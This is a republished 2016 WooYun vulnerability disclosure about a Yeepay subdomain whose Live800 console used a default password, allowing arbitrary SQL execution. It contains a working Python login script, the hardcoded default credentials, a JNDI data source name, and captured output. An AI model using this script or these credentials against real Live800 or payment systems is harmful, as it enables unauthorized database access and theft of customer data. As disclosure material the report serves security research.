神刀安全网

漏洞标题: 支付安全之易宝支付某站默认口令导致任意SQL语句执行(附脚本)

漏洞详情

披露状态:

2016-04-17: 细节已通知厂商并且等待厂商处理中
2016-04-17: 厂商已经确认,细节仅向厂商公开
2016-04-27: 细节向核心白帽子及相关领域专家公开
2016-05-07: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

详细说明:

问题站点:http://online.yeepay.com

详情看: WooYun: Live800在线客服系统默认密码导致的SQL查询/SQL注射漏洞

验证脚本

code 区域
#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import sys

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36'}

def getsessionid(url):
url = url + "/live800/console/console.jsp"
req = requests.get(url, allow_redirects=False)
status = req.status_code
#print status
if status == 302:
sessionid = req.headers['Set-Cookie'][11:43]
print 'sessionid为:' + sessionid
return sessionid
else:
print '漏洞不存在!'
return '1'

def loginin(url, sessionid):
url = url + '/live800/console/console.jsp?login=' + sessionid
data = {'iamkevin': 'wuxiaohong', 'companyId': '123', 'userName': 'kevin', 'password': 'wuTAO198403242337'}
cookies = {'JSESSIONID': sessionid}
try:
req = requests.post(url, data=data, cookies=cookies, headers=headers, allow_redirects=False)
if req.status_code == 302:
print '登录成功: ' + req.headers['Location']
else:
print '漏洞不存在!'
except Exception, e:
print e

url = 'http://online.yeepay.com'
se = getsessionid(url)
loginin(url, se)

sessionid为:676A30044A32E4D2172A59F565C6BDB3

登录成功: http://online.yeepay.com/live800/console/main.jsp

获得的sessionid为有效的sessionid,利用该sessionid登录

漏洞标题:  支付安全之易宝支付某站默认口令导致任意SQL语句执行(附脚本)

查看配置信息:

漏洞标题:  支付安全之易宝支付某站默认口令导致任意SQL语句执行(附脚本)

进入数据库检查页面

漏洞标题:  支付安全之易宝支付某站默认口令导致任意SQL语句执行(附脚本)

用户和密码为:kevin/wuTAO198403242337

登陆后填写JNDI名称: jdbc/live800_im_crm

接下来就可以执行任何sql语句了:

漏洞标题:  支付安全之易宝支付某站默认口令导致任意SQL语句执行(附脚本)

漏洞标题:  支付安全之易宝支付某站默认口令导致任意SQL语句执行(附脚本)

点到为止,不爆数据了。

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 支付安全之易宝支付某站默认口令导致任意SQL语句执行(附脚本)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址